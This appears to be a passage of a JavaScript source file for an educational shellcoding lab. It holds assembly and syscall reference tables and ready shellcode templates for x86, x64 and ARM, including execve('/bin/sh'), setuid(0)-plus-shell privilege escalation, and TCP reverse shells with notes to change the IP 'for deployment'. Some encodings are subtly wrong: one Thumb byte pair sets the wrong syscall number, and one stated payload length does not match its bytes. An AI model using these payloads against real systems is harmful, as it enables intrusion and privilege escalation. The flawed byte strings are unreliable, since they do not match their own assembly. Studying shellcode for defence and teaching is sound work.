const { useState, useEffect, useRef, useCallback, useMemo } = React;

// ═══════════════════════════════════════════════════════════════
// SHELL//LAB — Assembly Language & Shellcoding Platform
// Kulprit Studios LLC
// ═══════════════════════════════════════════════════════════════

// ── Architecture Definitions ──
const ARCHS = {
  x86: {
    name: "x86 (IA-32)",
    bits: 32,
    color: "#00d4ff",
    registers: ["eax","ebx","ecx","edx","esi","edi","esp","ebp","eip","eflags"],
    gpr: ["eax","ebx","ecx","edx","esi","edi"],
    special: { sp: "esp", bp: "ebp", ip: "eip", flags: "eflags" },
    callingConv: "cdecl — args pushed right-to-left on stack. Caller cleans stack. Return in EAX.",
    syscallMethod: "int 0x80",
    syscallReg: "eax",
    syscallArgs: ["ebx","ecx","edx","esi","edi","ebp"],
    endian: "Little",
    addressSize: "4 bytes",
    syscalls: {
      1: { name: "sys_exit", args: ["int status"] },
      2: { name: "sys_fork", args: [] },
      3: { name: "sys_read", args: ["uint fd","char *buf","size_t count"] },
      4: { name: "sys_write", args: ["uint fd","char *buf","size_t count"] },
      5: { name: "sys_open", args: ["char *filename","int flags","int mode"] },
      6: { name: "sys_close", args: ["uint fd"] },
      11: { name: "sys_execve", args: ["char *filename","char **argv","char **envp"] },
      12: { name: "sys_chdir", args: ["char *path"] },
      20: { name: "sys_getpid", args: [] },
      23: { name: "sys_setuid", args: ["uid_t uid"] },
      33: { name: "sys_access", args: ["char *filename","int mode"] },
      37: { name: "sys_kill", args: ["pid_t pid","int sig"] },
      45: { name: "sys_brk", args: ["unsigned long brk"] },
      54: { name: "sys_ioctl", args: ["uint fd","uint cmd","unsigned long arg"] },
      63: { name: "sys_dup2", args: ["uint oldfd","uint newfd"] },
      66: { name: "sys_setsid", args: [] },
      90: { name: "sys_mmap", args: ["void *addr","size_t len","int prot","int flags","int fd","off_t off"] },
      91: { name: "sys_munmap", args: ["void *addr","size_t len"] },
      102: { name: "sys_socketcall", args: ["int call","unsigned long *args"] },
      120: { name: "sys_clone", args: ["unsigned long flags","void *stack","..."] },
      125: { name: "sys_mprotect", args: ["void *addr","size_t len","int prot"] },
      162: { name: "sys_nanosleep", args: ["struct timespec *req","struct timespec *rem"] },
      175: { name: "sys_rt_sigprocmask", args: ["int how","sigset_t *set","sigset_t *oset"] },
      252: { name: "sys_exit_group", args: ["int status"] },
      359: { name: "sys_socket", args: ["int domain","int type","int protocol"] },
      361: { name: "sys_bind", args: ["int fd","struct sockaddr *addr","int addrlen"] },
      362: { name: "sys_connect", args: ["int fd","struct sockaddr *addr","int addrlen"] },
      363: { name: "sys_listen", args: ["int fd","int backlog"] },
      364: { name: "sys_accept4", args: ["int fd","struct sockaddr *addr","int *addrlen","int flags"] },
    },
    instructions: {
      "Data Movement": [
        { op: "mov", syn: "mov dst, src", desc: "Copy src to dst", ex: "mov eax, 0x1" },
        { op: "push", syn: "push src", desc: "Push onto stack, ESP -= 4", ex: "push ebp" },
        { op: "pop", syn: "pop dst", desc: "Pop from stack, ESP += 4", ex: "pop ebp" },
        { op: "lea", syn: "lea dst, [addr]", desc: "Load effective address (no memory access)", ex: "lea eax, [ebx+ecx*4]" },
        { op: "xchg", syn: "xchg a, b", desc: "Swap values", ex: "xchg eax, ebx" },
        { op: "movzx", syn: "movzx dst, src", desc: "Move with zero-extend", ex: "movzx eax, al" },
        { op: "movsx", syn: "movsx dst, src", desc: "Move with sign-extend", ex: "movsx eax, al" },
      ],
      "Arithmetic": [
        { op: "add", syn: "add dst, src", desc: "dst += src, sets CF/OF/ZF/SF", ex: "add eax, 0x10" },
        { op: "sub", syn: "sub dst, src", desc: "dst -= src, sets CF/OF/ZF/SF", ex: "sub esp, 0x40" },
        { op: "inc", syn: "inc dst", desc: "dst += 1 (preserves CF)", ex: "inc ecx" },
        { op: "dec", syn: "dec dst", desc: "dst -= 1 (preserves CF)", ex: "dec ecx" },
        { op: "mul", syn: "mul src", desc: "EDX:EAX = EAX × src (unsigned)", ex: "mul ebx" },
        { op: "imul", syn: "imul dst, src", desc: "Signed multiply", ex: "imul eax, ebx" },
        { op: "div", syn: "div src", desc: "EAX = EDX:EAX / src, EDX = remainder", ex: "div ecx" },
        { op: "neg", syn: "neg dst", desc: "Two's complement negate", ex: "neg eax" },
      ],
      "Logic & Bitwise": [
        { op: "and", syn: "and dst, src", desc: "Bitwise AND", ex: "and eax, 0xFF" },
        { op: "or", syn: "or dst, src", desc: "Bitwise OR", ex: "or eax, 0x1" },
        { op: "xor", syn: "xor dst, src", desc: "Bitwise XOR (xor reg,reg = zero)", ex: "xor eax, eax" },
        { op: "not", syn: "not dst", desc: "Bitwise NOT (one's complement)", ex: "not eax" },
        { op: "shl", syn: "shl dst, cnt", desc: "Shift left (× 2^n)", ex: "shl eax, 2" },
        { op: "shr", syn: "shr dst, cnt", desc: "Logical shift right (/ 2^n unsigned)", ex: "shr eax, 1" },
        { op: "sar", syn: "sar dst, cnt", desc: "Arithmetic shift right (signed)", ex: "sar eax, 1" },
        { op: "rol", syn: "rol dst, cnt", desc: "Rotate left", ex: "rol eax, 8" },
        { op: "ror", syn: "ror dst, cnt", desc: "Rotate right", ex: "ror eax, 8" },
      ],
      "Control Flow": [
        { op: "cmp", syn: "cmp a, b", desc: "Compute a - b, set flags, discard result", ex: "cmp eax, 0" },
        { op: "test", syn: "test a, b", desc: "Compute a AND b, set flags, discard result", ex: "test eax, eax" },
        { op: "jmp", syn: "jmp label", desc: "Unconditional jump", ex: "jmp _start" },
        { op: "je/jz", syn: "je label", desc: "Jump if ZF=1 (equal / zero)", ex: "je found" },
        { op: "jne/jnz", syn: "jne label", desc: "Jump if ZF=0 (not equal)", ex: "jne loop" },
        { op: "jg/jnle", syn: "jg label", desc: "Jump if greater (signed)", ex: "jg positive" },
        { op: "jl/jnge", syn: "jl label", desc: "Jump if less (signed)", ex: "jl negative" },
        { op: "ja/jnbe", syn: "ja label", desc: "Jump if above (unsigned)", ex: "ja higher" },
        { op: "jb/jnae", syn: "jb label", desc: "Jump if below (unsigned CF=1)", ex: "jb lower" },
        { op: "call", syn: "call label", desc: "Push EIP, jump to label", ex: "call myFunc" },
        { op: "ret", syn: "ret", desc: "Pop EIP, return to caller", ex: "ret" },
        { op: "nop", syn: "nop", desc: "No operation (0x90)", ex: "nop" },
        { op: "int", syn: "int n", desc: "Software interrupt", ex: "int 0x80" },
      ],
      "String Operations": [
        { op: "rep movsb", syn: "rep movsb", desc: "Copy ECX bytes from ESI to EDI", ex: "rep movsb" },
        { op: "rep stosb", syn: "rep stosb", desc: "Fill ECX bytes at EDI with AL", ex: "rep stosb" },
        { op: "rep scasb", syn: "rep scasb", desc: "Scan ECX bytes at EDI for AL", ex: "repne scasb" },
      ],
    },
    shellcodeTemplates: {
      "exit(0)": {
        asm: `; exit(0) — x86 Linux
; sys_exit = 1
xor eax, eax      ; zero eax (avoid null bytes)
xor ebx, ebx      ; status = 0
mov al, 0x1        ; syscall number
int 0x80           ; invoke kernel`,
        bytes: "31 c0 31 db b0 01 cd 80",
        desc: "Clean process exit. XOR zeroing avoids null bytes in the opcode stream.",
        nullFree: true,
      },
      "write(1, msg, len)": {
        asm: `; write(1, "SHELL//LAB\\n", 11) — x86 Linux
; sys_write = 4
jmp short _call
_shellcode:
  pop ecx            ; ECX = address of string (from stack)
  xor eax, eax
  mov al, 0x4        ; sys_write
  xor ebx, ebx
  mov bl, 0x1        ; fd = stdout
  xor edx, edx
  mov dl, 0xb        ; len = 11
  int 0x80           ; write()
  xor eax, eax
  mov al, 0x1        ; sys_exit
  xor ebx, ebx
  int 0x80
_call:
  call _shellcode
  db "SHELL//LAB", 0x0a`,
        bytes: "eb 15 59 31 c0 b0 04 31 db b3 01 31 d2 b2 0b cd 80 31 c0 b0 01 31 db cd 80 e8 e6 ff ff ff 53 48 45 4c 4c 2f 2f 4c 41 42 0a",
        desc: "JMP-CALL-POP technique to get string address without hardcoding. Position-independent.",
        nullFree: true,
      },
      "execve(/bin/sh)": {
        asm: `; execve("/bin//sh", NULL, NULL) — x86 Linux
; sys_execve = 11 (0x0b)
xor eax, eax       ; zero eax
push eax            ; null terminator on stack
push 0x68732f2f     ; "//sh" (extra / avoids null in push)
push 0x6e69622f     ; "/bin"
mov ebx, esp        ; EBX = pointer to "/bin//sh\\0"
xor ecx, ecx        ; argv = NULL
xor edx, edx        ; envp = NULL
mov al, 0xb         ; sys_execve
int 0x80`,
        bytes: "31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 31 c9 31 d2 b0 0b cd 80",
        desc: "Classic Linux shellcode. Double-slash trick (/bin//sh) avoids null bytes while remaining valid path.",
        nullFree: true,
      },
      "setuid(0) + execve": {
        asm: `; setuid(0) + execve("/bin//sh") — x86 Linux
; Escalate to root then spawn shell
xor eax, eax
mov al, 0x17        ; sys_setuid (23)
xor ebx, ebx        ; uid = 0 (root)
int 0x80            ; setuid(0)
; Now execve
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80`,
        bytes: "31 c0 b0 17 31 db cd 80 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 31 c9 31 d2 b0 0b cd 80",
        desc: "Drops to root before spawning shell. Useful when exploiting SUID binaries.",
        nullFree: true,
      },
      "reverse shell": {
        asm: `; TCP Reverse Shell — x86 Linux
; Connects back to 127.0.0.1:4444
; Uses socketcall() multiplexer
; 1. socket(AF_INET, SOCK_STREAM, 0)
xor eax, eax
xor ebx, ebx
push eax            ; protocol = 0
push 0x1            ; SOCK_STREAM
push 0x2            ; AF_INET
mov ecx, esp        ; args array
mov bl, 0x1         ; SYS_SOCKET
mov al, 0x66        ; sys_socketcall
int 0x80
mov esi, eax        ; save sockfd

; 2. connect(sockfd, &addr, 16)
xor eax, eax
push eax            ; padding
push 0x0100007f     ; 127.0.0.1 (change for target)
push word 0x5c11    ; port 4444 (0x115c)
push word 0x2       ; AF_INET
mov ecx, esp        ; sockaddr_in struct
push 0x10           ; addrlen = 16
push ecx            ; &addr
push esi            ; sockfd
mov ecx, esp
mov bl, 0x3         ; SYS_CONNECT
mov al, 0x66
int 0x80

; 3. dup2(sockfd, 0/1/2)
xor ecx, ecx
mov cl, 0x2
_dup_loop:
  mov al, 0x3f      ; sys_dup2
  mov ebx, esi      ; sockfd
  int 0x80
  dec cl
  jns _dup_loop

; 4. execve("/bin//sh")
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80`,
        bytes: "31 c0 31 db 50 6a 01 6a 02 89 e1 b3 01 b0 66 cd 80 89 c6 ...",
        desc: "Full TCP reverse shell. Connects back, redirects stdin/stdout/stderr, execves /bin/sh. Modify IP/port for deployment.",
        nullFree: false,
      },
    },
  },

  x64: {
    name: "x86-64 (AMD64)",
    bits: 64,
    color: "#ff6b35",
    registers: ["rax","rbx","rcx","rdx","rsi","rdi","rsp","rbp","rip","rflags","r8","r9","r10","r11","r12","r13","r14","r15"],
    gpr: ["rax","rbx","rcx","rdx","rsi","rdi","r8","r9","r10","r11","r12","r13","r14","r15"],
    special: { sp: "rsp", bp: "rbp", ip: "rip", flags: "rflags" },
    callingConv: "System V AMD64 — args in RDI, RSI, RDX, RCX, R8, R9. Return in RAX. Caller saves RAX, RCX, RDX, RSI, RDI, R8-R11.",
    syscallMethod: "syscall",
    syscallReg: "rax",
    syscallArgs: ["rdi","rsi","rdx","r10","r8","r9"],
    endian: "Little",
    addressSize: "8 bytes",
    syscalls: {
      0: { name: "sys_read", args: ["uint fd","char *buf","size_t count"] },
      1: { name: "sys_write", args: ["uint fd","char *buf","size_t count"] },
      2: { name: "sys_open", args: ["char *filename","int flags","int mode"] },
      3: { name: "sys_close", args: ["uint fd"] },
      9: { name: "sys_mmap", args: ["void *addr","size_t len","int prot","int flags","int fd","off_t off"] },
      10: { name: "sys_mprotect", args: ["void *addr","size_t len","int prot"] },
      11: { name: "sys_munmap", args: ["void *addr","size_t len"] },
      21: { name: "sys_access", args: ["char *filename","int mode"] },
      32: { name: "sys_dup", args: ["uint fd"] },
      33: { name: "sys_dup2", args: ["uint oldfd","uint newfd"] },
      35: { name: "sys_nanosleep", args: ["struct timespec *req","struct timespec *rem"] },
      39: { name: "sys_getpid", args: [] },
      41: { name: "sys_socket", args: ["int domain","int type","int protocol"] },
      42: { name: "sys_connect", args: ["int fd","struct sockaddr *","int addrlen"] },
      43: { name: "sys_accept", args: ["int fd","struct sockaddr *","int *addrlen"] },
      49: { name: "sys_bind", args: ["int fd","struct sockaddr *","int addrlen"] },
      50: { name: "sys_listen", args: ["int fd","int backlog"] },
      56: { name: "sys_clone", args: ["unsigned long flags","void *stack","..."] },
      57: { name: "sys_fork", args: [] },
      59: { name: "sys_execve", args: ["char *filename","char **argv","char **envp"] },
      60: { name: "sys_exit", args: ["int status"] },
      62: { name: "sys_kill", args: ["pid_t pid","int sig"] },
      80: { name: "sys_chdir", args: ["char *path"] },
      82: { name: "sys_rename", args: ["char *oldname","char *newname"] },
      87: { name: "sys_unlink", args: ["char *pathname"] },
      96: { name: "sys_gettimeofday", args: ["struct timeval *tv","struct timezone *tz"] },
      102: { name: "sys_getuid", args: [] },
      105: { name: "sys_setuid", args: ["uid_t uid"] },
      112: { name: "sys_setsid", args: [] },
      157: { name: "sys_prctl", args: ["int option","unsigned long arg2","..."] },
      231: { name: "sys_exit_group", args: ["int status"] },
      257: { name: "sys_openat", args: ["int dfd","char *filename","int flags","int mode"] },
      288: { name: "sys_accept4", args: ["int fd","struct sockaddr *","int *addrlen","int flags"] },
      322: { name: "sys_execveat", args: ["int dfd","char *filename","char **argv","char **envp","int flags"] },
    },
    instructions: {
      "Data Movement": [
        { op: "mov", syn: "mov dst, src", desc: "Copy src to dst (REX prefix for 64-bit)", ex: "mov rax, 0x1" },
        { op: "push", syn: "push src", desc: "Push onto stack, RSP -= 8", ex: "push rbp" },
        { op: "pop", syn: "pop dst", desc: "Pop from stack, RSP += 8", ex: "pop rbp" },
        { op: "lea", syn: "lea dst, [addr]", desc: "Load effective address", ex: "lea rdi, [rip+msg]" },
        { op: "movabs", syn: "movabs rax, imm64", desc: "Load 64-bit immediate", ex: "movabs rax, 0xdeadbeefcafebabe" },
        { op: "cdqe", syn: "cdqe", desc: "Sign-extend EAX to RAX", ex: "cdqe" },
        { op: "cqo", syn: "cqo", desc: "Sign-extend RAX to RDX:RAX", ex: "cqo" },
      ],
      "Arithmetic": [
        { op: "add", syn: "add dst, src", desc: "dst += src", ex: "add rax, 0x10" },
        { op: "sub", syn: "sub dst, src", desc: "dst -= src", ex: "sub rsp, 0x40" },
        { op: "imul", syn: "imul dst, src, imm", desc: "Three-operand signed multiply", ex: "imul rax, rbx, 8" },
        { op: "inc/dec", syn: "inc dst", desc: "Increment/decrement (no REX.W single-byte)", ex: "inc rcx" },
      ],
      "Logic & Bitwise": [
        { op: "and", syn: "and dst, src", desc: "Bitwise AND", ex: "and rax, 0xFF" },
        { op: "or", syn: "or dst, src", desc: "Bitwise OR", ex: "or rdi, rdi" },
        { op: "xor", syn: "xor dst, src", desc: "Bitwise XOR (zeroing idiom)", ex: "xor rax, rax" },
        { op: "shl/shr/sar", syn: "shl dst, cnt", desc: "Shift operations", ex: "shl rdi, 3" },
        { op: "bsf/bsr", syn: "bsf dst, src", desc: "Bit scan forward/reverse", ex: "bsf rax, rbx" },
        { op: "popcnt", syn: "popcnt dst, src", desc: "Count set bits", ex: "popcnt rax, rbx" },
      ],
      "Control Flow": [
        { op: "cmp", syn: "cmp a, b", desc: "Compare (sets flags)", ex: "cmp rax, 0" },
        { op: "test", syn: "test a, b", desc: "AND test (sets flags)", ex: "test rdi, rdi" },
        { op: "jmp/jcc", syn: "je/jne/jg/jl label", desc: "Conditional jumps", ex: "je done" },
        { op: "call", syn: "call label", desc: "Push RIP, jump", ex: "call func" },
        { op: "ret", syn: "ret", desc: "Pop RIP", ex: "ret" },
        { op: "syscall", syn: "syscall", desc: "64-bit system call (fast)", ex: "syscall" },
        { op: "cmovcc", syn: "cmove dst, src", desc: "Conditional move (branchless)", ex: "cmovz rax, rbx" },
      ],
      "SSE/Memory": [
        { op: "movdqa", syn: "movdqa xmm, m128", desc: "Move aligned 128-bit", ex: "movdqa xmm0, [rsp]" },
        { op: "movdqu", syn: "movdqu xmm, m128", desc: "Move unaligned 128-bit", ex: "movdqu xmm1, [rdi]" },
        { op: "pxor", syn: "pxor xmm, xmm", desc: "XOR 128-bit (zero XMM)", ex: "pxor xmm0, xmm0" },
      ],
    },
    shellcodeTemplates: {
      "exit(0)": {
        asm: `; exit(0) — x86-64 Linux
; sys_exit = 60
xor rdi, rdi       ; status = 0
push 60
pop rax            ; sys_exit (avoids null in mov rax, 60)
syscall`,
        bytes: "48 31 ff 6a 3c 58 0f 05",
        desc: "8 bytes. push/pop trick avoids the REX.W prefix overhead of mov rax, 60.",
        nullFree: true,
      },
      "write(1, msg, len)": {
        asm: `; write(1, "SHELL//LAB\\n", 11) — x86-64 Linux
; sys_write = 1
jmp short _call
_shellcode:
  pop rsi            ; RSI = address of string
  xor rax, rax
  mov al, 0x1        ; sys_write
  mov rdi, rax       ; fd = 1 (stdout)
  xor rdx, rdx
  mov dl, 0xb        ; len = 11
  syscall
  xor rax, rax
  mov al, 60         ; sys_exit
  xor rdi, rdi
  syscall
_call:
  call _shellcode
  db "SHELL//LAB", 0x0a`,
        bytes: "eb 1a 5e 48 31 c0 b0 01 48 89 c7 48 31 d2 b2 0b 0f 05 48 31 c0 b0 3c 48 31 ff 0f 05 e8 e1 ff ff ff 53 48 45 4c 4c 2f 2f 4c 41 42 0a",
        desc: "JMP-CALL-POP for x64. Note REX.W prefixes (0x48) on 64-bit register operations.",
        nullFree: true,
      },
      "execve(/bin/sh)": {
        asm: `; execve("/bin/sh", NULL, NULL) — x86-64 Linux
; sys_execve = 59
xor rsi, rsi        ; argv = NULL
push rsi             ; null terminator
mov rdi, 0x68732f6e69622f  ; "/bin/sh" in little-endian
push rdi
mov rdi, rsp         ; RDI = pointer to "/bin/sh\\0"
xor rdx, rdx         ; envp = NULL
push 59
pop rax              ; sys_execve
syscall`,
        bytes: "48 31 f6 56 48 bf 2f 62 69 6e 2f 73 68 00 57 48 89 e7 48 31 d2 6a 3b 58 0f 05",
        desc: "Note: movabs has a null byte in the '/bin/sh' string. See null-free variant below for exploit use.",
        nullFree: false,
      },
      "execve (null-free)": {
        asm: `; execve("/bin//sh", NULL, NULL) — x86-64 null-free
xor rsi, rsi
mul rsi              ; RAX=RDX=0
push rax             ; null terminator
mov rbx, 0x68732f2f6e69622f  ; "/bin//sh"
push rbx
mov rdi, rsp
mov al, 59           ; sys_execve
syscall`,
        bytes: "48 31 f6 48 f7 e6 50 48 bb 2f 62 69 6e 2f 2f 73 68 53 48 89 e7 b0 3b 0f 05",
        desc: "Null-free variant using mul for triple-zero and double-slash path trick. 24 bytes.",
        nullFree: true,
      },
      "reverse shell": {
        asm: `; TCP Reverse Shell — x86-64 Linux
; Connects to 127.0.0.1:4444

; socket(AF_INET, SOCK_STREAM, 0)
push 41
pop rax              ; sys_socket
push 2
pop rdi              ; AF_INET
push 1
pop rsi              ; SOCK_STREAM
xor rdx, rdx        ; protocol = 0
syscall
mov r12, rax         ; save sockfd

; connect(sockfd, &addr, 16)
xor rax, rax
push rax             ; padding
mov dword [rsp-4], 0x0100007f  ; 127.0.0.1
mov word [rsp-6], 0x5c11       ; port 4444
mov word [rsp-8], 0x2          ; AF_INET
sub rsp, 8
mov rsi, rsp         ; &sockaddr
push 42
pop rax              ; sys_connect
mov rdi, r12         ; sockfd
push 16
pop rdx              ; addrlen
syscall

; dup2(sockfd, 0/1/2)
push 2
pop rsi
_dup_loop:
  push 33
  pop rax            ; sys_dup2
  mov rdi, r12
  syscall
  dec rsi
  jns _dup_loop

; execve("/bin//sh", NULL, NULL)
xor rsi, rsi
mul rsi
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
mov al, 59
syscall`,
        bytes: "6a 29 58 6a 02 5f 6a 01 5e 48 31 d2 0f 05 49 89 c4 ...",
        desc: "Full reverse shell. Modify IP at offset for target. Uses push/pop to avoid null bytes in syscall numbers.",
        nullFree: false,
      },
    },
  },

  arm32: {
    name: "ARM (AArch32)",
    bits: 32,
    color: "#39ff14",
    registers: ["r0","r1","r2","r3","r4","r5","r6","r7","r8","r9","r10","r11","r12","sp","lr","pc","cpsr"],
    gpr: ["r0","r1","r2","r3","r4","r5","r6","r7","r8","r9","r10","r11","r12"],
    special: { sp: "sp (r13)", bp: "r11 (fp)", ip: "pc (r15)", flags: "cpsr" },
    callingConv: "AAPCS — args in R0-R3. Return in R0. R4-R11 callee-saved. LR (R14) = return address.",
    syscallMethod: "svc #0",
    syscallReg: "r7",
    syscallArgs: ["r0","r1","r2","r3","r4","r5"],
    endian: "Bi-endian (usually Little)",
    addressSize: "4 bytes",
    syscalls: {
      1: { name: "sys_exit", args: ["int status"] },
      2: { name: "sys_fork", args: [] },
      3: { name: "sys_read", args: ["uint fd","char *buf","size_t count"] },
      4: { name: "sys_write", args: ["uint fd","char *buf","size_t count"] },
      5: { name: "sys_open", args: ["char *filename","int flags","int mode"] },
      6: { name: "sys_close", args: ["uint fd"] },
      11: { name: "sys_execve", args: ["char *filename","char **argv","char **envp"] },
      20: { name: "sys_getpid", args: [] },
      23: { name: "sys_setuid", args: ["uid_t uid"] },
      37: { name: "sys_kill", args: ["pid_t pid","int sig"] },
      45: { name: "sys_brk", args: ["unsigned long brk"] },
      54: { name: "sys_ioctl", args: ["uint fd","uint cmd","unsigned long arg"] },
      63: { name: "sys_dup2", args: ["uint oldfd","uint newfd"] },
      66: { name: "sys_setsid", args: [] },
      90: { name: "sys_mmap", args: ["void *addr","size_t len","int prot","int flags","int fd","off_t off"] },
      125: { name: "sys_mprotect", args: ["void *addr","size_t len","int prot"] },
      162: { name: "sys_nanosleep", args: ["struct timespec *req","struct timespec *rem"] },
      248: { name: "sys_exit_group", args: ["int status"] },
      281: { name: "sys_socket", args: ["int domain","int type","int protocol"] },
      282: { name: "sys_bind", args: ["int fd","struct sockaddr *addr","int addrlen"] },
      283: { name: "sys_connect", args: ["int fd","struct sockaddr *addr","int addrlen"] },
      284: { name: "sys_listen", args: ["int fd","int backlog"] },
      285: { name: "sys_accept", args: ["int fd","struct sockaddr *addr","int *addrlen"] },
    },
    instructions: {
      "Data Processing": [
        { op: "mov", syn: "mov Rd, Op2", desc: "Move (can use barrel shifter)", ex: "mov r0, #0" },
        { op: "mvn", syn: "mvn Rd, Op2", desc: "Move NOT (bitwise invert)", ex: "mvn r0, #0  ; r0 = 0xFFFFFFFF" },
        { op: "add", syn: "add Rd, Rn, Op2", desc: "Add (3-operand form)", ex: "add r0, r1, r2" },
        { op: "adc", syn: "adc Rd, Rn, Op2", desc: "Add with carry", ex: "adc r1, r1, #0" },
        { op: "sub", syn: "sub Rd, Rn, Op2", desc: "Subtract", ex: "sub sp, sp, #64" },
        { op: "rsb", syn: "rsb Rd, Rn, Op2", desc: "Reverse subtract (Op2 - Rn)", ex: "rsb r0, r0, #0  ; negate" },
        { op: "mul", syn: "mul Rd, Rn, Rm", desc: "Multiply (32-bit result)", ex: "mul r0, r1, r2" },
        { op: "cmp", syn: "cmp Rn, Op2", desc: "Compare (sets flags, no result)", ex: "cmp r0, #0" },
        { op: "cmn", syn: "cmn Rn, Op2", desc: "Compare negative (Rn + Op2)", ex: "cmn r0, #1" },
        { op: "tst", syn: "tst Rn, Op2", desc: "Test bits (AND, sets flags)", ex: "tst r0, #1" },
        { op: "and", syn: "and Rd, Rn, Op2", desc: "Bitwise AND", ex: "and r0, r0, #0xFF" },
        { op: "orr", syn: "orr Rd, Rn, Op2", desc: "Bitwise OR", ex: "orr r0, r0, #0x80" },
        { op: "eor", syn: "eor Rd, Rn, Op2", desc: "Bitwise XOR", ex: "eor r0, r0, r0  ; zero" },
        { op: "bic", syn: "bic Rd, Rn, Op2", desc: "Bit clear (AND NOT)", ex: "bic r0, r0, #0xF" },
      ],
      "Barrel Shifter": [
        { op: "lsl", syn: "mov Rd, Rn, lsl #n", desc: "Logical shift left", ex: "mov r0, r1, lsl #2  ; r0 = r1*4" },
        { op: "lsr", syn: "mov Rd, Rn, lsr #n", desc: "Logical shift right (unsigned)", ex: "mov r0, r1, lsr #3" },
        { op: "asr", syn: "mov Rd, Rn, asr #n", desc: "Arithmetic shift right (signed)", ex: "mov r0, r1, asr #1  ; divide by 2" },
        { op: "ror", syn: "mov Rd, Rn, ror #n", desc: "Rotate right", ex: "mov r0, r0, ror #8" },
        { op: "rrx", syn: "mov Rd, Rn, rrx", desc: "Rotate right through carry (1 bit)", ex: "mov r0, r0, rrx" },
        { op: "Op2 shift", syn: "add Rd, Rn, Rm, lsl #n", desc: "Any data op can shift its 2nd operand", ex: "add r0, r0, r1, lsl #2  ; r0 += r1*4" },
      ],
      "Memory": [
        { op: "ldr", syn: "ldr Rd, [Rn, #off]", desc: "Load register (word)", ex: "ldr r0, [sp, #4]" },
        { op: "str", syn: "str Rd, [Rn, #off]", desc: "Store register (word)", ex: "str r0, [sp]" },
        { op: "ldrb/strb", syn: "ldrb Rd, [Rn]", desc: "Load/store byte", ex: "ldrb r1, [r0]" },
        { op: "ldrh/strh", syn: "ldrh Rd, [Rn]", desc: "Load/store halfword (16-bit)", ex: "ldrh r0, [r1, #2]" },
        { op: "ldm/stm", syn: "ldmia Rn!, {regs}", desc: "Load/store multiple (IA/IB/DA/DB)", ex: "ldmia sp!, {r4-r11, pc}" },
        { op: "push/pop", syn: "push {regs}", desc: "Stack push/pop (STMDB/LDMIA sp! aliases)", ex: "push {r4-r7, lr}" },
        { op: "ldr Rd, =imm", syn: "ldr r0, =0x12345678", desc: "Pseudo-instruction: load any 32-bit constant from literal pool", ex: "ldr r0, =0xDEADBEEF" },
        { op: "adr", syn: "adr Rd, label", desc: "PC-relative address (limited range)", ex: "adr r0, string_data" },
      ],
      "Branch": [
        { op: "b", syn: "b label", desc: "Branch (±32MB range)", ex: "b loop" },
        { op: "bl", syn: "bl label", desc: "Branch with link (saves PC to LR)", ex: "bl printf" },
        { op: "bx", syn: "bx Rn", desc: "Branch exchange — bit[0] selects ARM(0) or Thumb(1)", ex: "bx lr" },
        { op: "blx", syn: "blx Rn", desc: "Branch with link and exchange", ex: "blx r3" },
        { op: "b.cond", syn: "beq/bne/bgt/blt/bge/ble/bhi/bls/bcs/bcc label", desc: "Conditional branch (14 conditions)", ex: "bne loop" },
        { op: "svc", syn: "svc #imm", desc: "Supervisor call — triggers syscall", ex: "svc #0" },
      ],
      "Conditional & Thumb": [
        { op: "{cond}", syn: "moveq r0, #1", desc: "Any ARM instruction can be conditional (EQ/NE/GT/LT/GE/LE/HI/LS/CS/CC/MI/PL/VS/VC/AL)", ex: "addne r0, r0, #1" },
        { op: "it/ite", syn: "ite eq", desc: "If-Then block for Thumb-2 conditional execution", ex: "ite eq; moveq r0,#1; movne r0,#0" },
        { op: ".thumb", syn: ".thumb", desc: "Assembler directive: emit Thumb (16-bit) instructions", ex: ".syntax unified\\n.thumb" },
        { op: "adds/subs", syn: "adds Rd, Rn, #imm3", desc: "Thumb narrow ALU ops (set flags, small imm only)", ex: "adds r0, #1" },
      ],
    },
    shellcodeTemplates: {
      "exit(0)": {
        asm: `; exit(0) — ARM32
mov  r0, #0         ; status = 0
mov  r7, #1         ; sys_exit
svc  #0`,
        bytes: "00 00 a0 e3 01 70 a0 e3 00 00 00 ef",
        desc: "Minimal ARM32 exit. 12 bytes. Note: ARM 32-bit fixed encoding naturally contains 0x00 bytes — Thumb mode avoids this.",
        nullFree: false,
      },
      "write(1, msg, len)": {
        asm: `; write(1, "SHELL//LAB", 10) — ARM32
mov  r0, #1         ; fd = stdout
adr  r1, msg        ; buf = pointer to string
mov  r2, #10        ; count = 10
mov  r7, #4         ; sys_write
svc  #0
mov  r0, #0         ; status = 0
mov  r7, #1         ; sys_exit
svc  #0
msg:
.ascii "SHELL//LAB"`,
        bytes: "01 00 a0 e3 10 10 8f e2 0a 20 a0 e3 04 70 a0 e3 00 00 00 ef 00 00 a0 e3 01 70 a0 e3 00 00 00 ef 53 48 45 4c 4c 2f 2f 4c 41 42",
        desc: "ARM32 write syscall with embedded string data. Uses ADR (PC-relative) for string address.",
        nullFree: false,
      },
      "execve(/bin/sh) Thumb": {
        asm: `.syntax unified
.thumb
; execve("/bin/sh", NULL, NULL) — ARM Thumb
; Thumb mode avoids null bytes in ARM encoding
mov  r0, pc        ; R0 = current PC
adds r0, #12       ; point past code to string
eor  r1, r1, r1    ; argv = NULL
eor  r2, r2, r2    ; envp = NULL
mov  r7, #11       ; sys_execve
svc  #1            ; supervisor call
.ascii "/bin/sh"`,
        bytes: "78 46 08 30 49 40 52 40 07 27 01 df 2f 62 69 6e 2f 73 68",
        desc: "Thumb mode shellcode — 16-bit instructions avoid null bytes common in 32-bit ARM encoding.",
        nullFree: true,
      },
      "setuid(0)+execve": {
        asm: `.syntax unified
.thumb
; setuid(0) + execve("/bin/sh") — ARM Thumb
eor  r0, r0, r0    ; uid = 0
mov  r7, #23       ; sys_setuid
svc  #1
mov  r0, pc        ; R0 = PC
adds r0, #12       ; point to string
eor  r1, r1, r1    ; argv = NULL
eor  r2, r2, r2    ; envp = NULL
mov  r7, #11       ; sys_execve
svc  #1
.ascii "/bin/sh"`,
        bytes: "40 40 17 27 01 df 78 46 08 30 49 40 52 40 0b 27 01 df 2f 62 69 6e 2f 73 68",
        desc: "Privilege escalation: drops to root with setuid(0) before spawning shell. Thumb mode for null-free encoding.",
        nullFree: true,
      },
